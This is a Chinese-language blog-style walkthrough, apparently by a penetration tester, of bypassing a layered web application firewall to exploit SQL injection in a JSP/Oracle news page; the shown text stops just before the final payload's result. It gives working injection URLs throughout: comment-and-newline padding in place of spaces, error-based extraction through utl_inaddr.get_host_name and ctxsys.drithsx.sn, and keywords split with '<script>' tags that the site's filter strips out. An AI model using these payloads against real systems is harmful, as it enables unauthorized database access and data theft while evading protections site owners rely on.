如何用XSS绕过WAF进行SQL注入

0×00 前言

看到标题，很多人肯定会一脸懵逼，这是什么鬼。利用xss绕过waf进行sql注入？话说，没点意思的文章，我自己也不好意思写出来啊。

通俗讲，就是XSS和sql注入相结合绕过waf。知识要能灵活运用嘛。做一个灵活的胖子（虽然我不是胖子）。

0×01 起因

咳咳，还是来说下起因吧！最近遇到一个网站，有防火墙，而且极其变态。后来测试发现，竟然是oracle数据库。对，你没看错，是oracle数据库。

众所周知，mysql语句最松散，曾几何时依靠/*!50000select*/ 这种类型和各种变形，可以秒杀很多防火墙,而且网上大量这样的文章：

mssql语句次之，可以使用多行执行。还可以搭配服务器使用 se%le%ct 这种绕过方式绕过。

相比起oracle，简直了。这些招式都不管用。看了很多文章，看不到多少关于oracle注入的文章。绕防火墙的文章更是稀少。绕过变态的防火墙的基本没有。这一次就遇到了一个比较不错的素材。给大家分享，交流。

0×02 SQL注入初探

废话不多说，实战开始。加入单引号：

http://www.hacker.com/news/index .jsp?id=2862%27

收集信息如下：字符型注入+oracle。常规测试 ‘ and 1=1– +

直接被防火墙拦截了，而且拦截有点变态，连anxd都拦。

既然拦截了anxd，我们推测他应该是过滤的后面1=1 那么我们换成1 like 1试试：

换成and 1 like 1会显示系统错误。在这里，连最基础的正确语句都无法执行。可推测，这个网站至少有两层过滤，一层防火墙，一层代码过滤。

0×03 尝试突破

那么，就开始突破吧！

思考：如果此处为mysql+php那么绕过也许不会那么难受，但是此处是jsp+oracle。 Oracle各位黑友流传出来的语法基本就那么几种，像/*!50000 这种类型的都不可以用，所以给绕过带来了极大的困难。

考虑到防火墙，一般都采用正则的方式进行拦截的。我们尝试是否有可以替代空格对正则进行绕过，看看waf是否有所疏漏，经过大量测试，发现/*%23%0a*/可进行绕过。我们尝试下：

http://www.hacker.com/news/index .jsp?id=2862′ and/*%23%0a*/1=1–

http://www.hacker.com/news/index .jsp?id=2862′and/*%23%0a*/1=2–

两次返回页面不一样，成功绕过。想到使用联合查询就可以直接获取想要的数据了，仿佛白富美就在眼前。然后当我满怀欣喜准备大杀四方的时候，输入order by 10的时候一脸懵逼：

居然又被防火墙拦截。说明and拦截规则和 order by 拦截规则又不一样。

前面不知道大家是否记得我说过了，此处防火墙最起码有两层过滤，真是令人窒息的防火墙。

在此处，如果要进行联合查询，而基本的order by 都会拦截，那么联合查询更难突破，因为要同时突破unon select from这三个无意是判了死刑。

0×04 因地制宜：显错注入

见到此，我们不能放弃。

联想到 http://www.hacker.com/news/index.jsp?id=2862%27 有报错信息，然后就考虑使用显错注入：

首先，我们来尝试获取数据库名。

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--

访问后结果如下：

被拦截，意料之中。

经过测试发现拦截了utl_inaddr.get_host_name函数。众所周知，mysql可以用/*!information_schema*/.SCHEMATA 此语法进行绕过测试。但是oracle是肯定不支持此语法的。不信我们试试：

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=/*!utl_inaddr*/.get_host_name((ora_database_name))--  可以看到，执行失败，语法是错误的。我们不要灰心。

此处，我们思维就需要进行改变，我们不能像这种形式：

/*!information_schema*/.SCHEMATA

但是可以这一种：

information_schema./*!*/SCHEMATA

然后进行尝试：

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))--

成功绕过并执行成功，并且出库。在挖漏洞的时候大家肯定到此处就完了，因为可以证明漏洞存在了，并且可以被利用了。

但是，我们此处想要的是bypass waf绕过。有时候就得对自己要求高一点。

0×05 高潮迭起：利用组合拳进行突破

我们考虑到，一般防火墙对select 和 from过滤是最严格的。因为and 等只是探测，而select form是可以直接查询出数据的。所以，构造一个含有select from语句对防火墙进行探测，是很有必要的。

构造如下语句来获取数据库版本(包含select from)：

http://www.hacker.com/news/index.jsp?id=2862'AND  1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--

意料之中的被拦截。加上前面的绕过空格试试能不能绕过：

http://www.hacker.com/news/index.jsp?id=2862'AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(select/*%23%0a*/banner/*%23%0a*/from/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--

依然被拦截。又在意料之中！

那么如何进行突破呢？此处我们需要换种思路，对常见的xss进行测试如下：

我们发现了什么？结果显示只是带入了单引号，而<script>却不见了。不应该啊，难道是系统给清空了？

为了确定我们的想法，我们再次进行尝试：

惊不惊喜，意不意外，开不开心。会自动吧<script>替换为空格：

那么我们的语句就可以进行如下构造,改的连我们自己都不认识了：

http://www.hacker.com/news/index.jsp?id=2862'AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(sel<script>ect/*%23%0a*/banner/*%23%0a*/fro<script>m/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--

然后执行看看：